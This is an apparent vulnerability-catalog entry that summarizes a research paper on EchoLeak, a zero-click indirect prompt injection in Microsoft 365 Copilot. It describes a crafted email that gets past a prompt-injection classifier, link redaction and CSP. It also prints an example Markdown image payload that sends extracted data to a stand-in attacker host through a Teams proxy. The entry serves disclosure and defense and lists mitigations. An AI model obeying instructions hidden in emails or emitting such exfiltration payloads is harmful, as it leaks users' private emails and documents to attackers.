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LMVD-ID: a87757e2
Paper published September 1, 2025
Entry analyzed September 30, 2025
Paper-reported evidence
Confidence: Source-linked

The LMVD-ID is an internal research identifier, not an official CVE identifier.

EchoLeak Zero-Click Data Exfiltration

A zero-click indirect prompt injection vulnerability, CVE-2025-32711, existed in Microsoft 365 Copilot. A remote, unauthenticated attacker could exfiltrate sensitive data from a victim's session by sending a crafted…

BibTeX citation

Paper-evaluated models

No paper-evaluated models are recorded for this entry.

Description

A zero-click indirect prompt injection vulnerability, CVE-2025-32711, existed in Microsoft 365 Copilot. A remote, unauthenticated attacker could exfiltrate sensitive data from a victim's session by sending a crafted email. When Copilot later processed this email as part of a user's query, hidden instructions caused it to retrieve sensitive data from the user's context (e.g., other emails, documents) and embed it into a URL. The attack chain involved bypassing Microsoft's XPIA prompt injection classifier, evading link redaction filters using reference-style Markdown, and abusing a trusted Microsoft Teams proxy domain to bypass the client-side Content Security Policy (CSP), resulting in automatic data exfiltration without any user interaction.

Examples

An attacker sends an email containing hidden instructions disguised as normal text to a victim. The instructions are designed to be triggered when Copilot summarizes or processes the email.

The instructions coerce Copilot into generating a response containing a Markdown image. This payload bypasses link-stripping defenses by using reference-style syntax and bypasses the Content Security Policy by using a trusted Microsoft Teams domain as a proxy to reach the attacker's server. The sensitive data is appended to the URL as a parameter.

When the victim's client (e.g., Outlook, Teams) renders Copilot's response, it automatically attempts to fetch the image, sending the sensitive data to the attacker's server.

Example payload generated by the compromised Copilot:

Defensive research example; do not run untrusted code. Scroll horizontally if needed.

Project summary is ready. See details below.

![image alt text][ref]

[ref]: https://asyncgw.teams.microsoft.com/urlp/v1/url/content?url=https://attacker-server.com/log?data=[SENSITIVE_DATA_EXTRACTED_BY_COPILOT]

Impact

Successful exploitation allows a remote, unauthenticated attacker to exfiltrate sensitive data accessible to the victim's Copilot instance, including the contents of private emails, documents, and chats. The attack is zero-click, requiring no user interaction beyond Copilot processing the malicious email, and achieves a full bypass of the LLM's trust boundaries, escalating the privileges of an external attacker to that of the internal user.

Affected Systems

Microsoft 365 Copilot services prior to the server-side fix deployed in May 2025.

Mitigation Steps

  • Strict Prompt Partitioning: Enforce a hard separation between trusted content (e.g., user queries) and untrusted content (e.g., external emails) within the LLM's prompt. Tag data by its source and instruct the model not to execute commands from untrusted sources.
  • Enhanced Input/Output Filtering: Strip or neutralize potentially malicious syntax from inputs and outputs, specifically including reference-style Markdown links and all URLs originating from untrusted domains.
  • Strict Content Security Policy (CSP): Apply a strict CSP to the rendering surface to prevent loading resources from non-allowlisted domains. Disallow image embeds (img-src) from all but essential, trusted origins and harden any allowlisted proxy endpoints against being used as open redirects.
  • Principle of Least Privilege for AI: Restrict the model's access by default. Use provenance-based access control to prevent the AI from combining data across different trust boundaries (e.g., do not use content from an external email to answer a query about an internal project).
  • Output Validation: Treat all model outputs as untrusted. Scan outputs for sensitive data patterns, PII, credentials, and suspicious URLs before rendering them to the user. Block or require user consent for any outbound network requests embedded in the response.

Research context and confidence

Evidence and verification
Paper-reported; independent reproduction is not documented.
Primary research source linked.
Severity
Not rated by this catalog.
Source and publication type
arXiv · Research preprint.
Peer-review status is not provided by this source.
Author and publication status
Author metadata is not stored; see the primary paper.
Threat model and attacker access
Black-box model, service, or application access.
Related deployment categories
Retrieval-augmented generation; Model APIs
Taxonomy labels only; paper-specific deployment prerequisites are not inferred.
Affected systems
Microsoft 365 Copilot services prior to the server-side fix deployed in May 2025.

Research Paper

EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System

Primary source: arXiv. Findings are reported by the cited research and have not been independently verified.

View Paper

Evidence

This entry is based on a primary research source. Its findings are paper-reported; independent reproduction and verification are not claimed.

https://arxiv.org/abs/2509.10540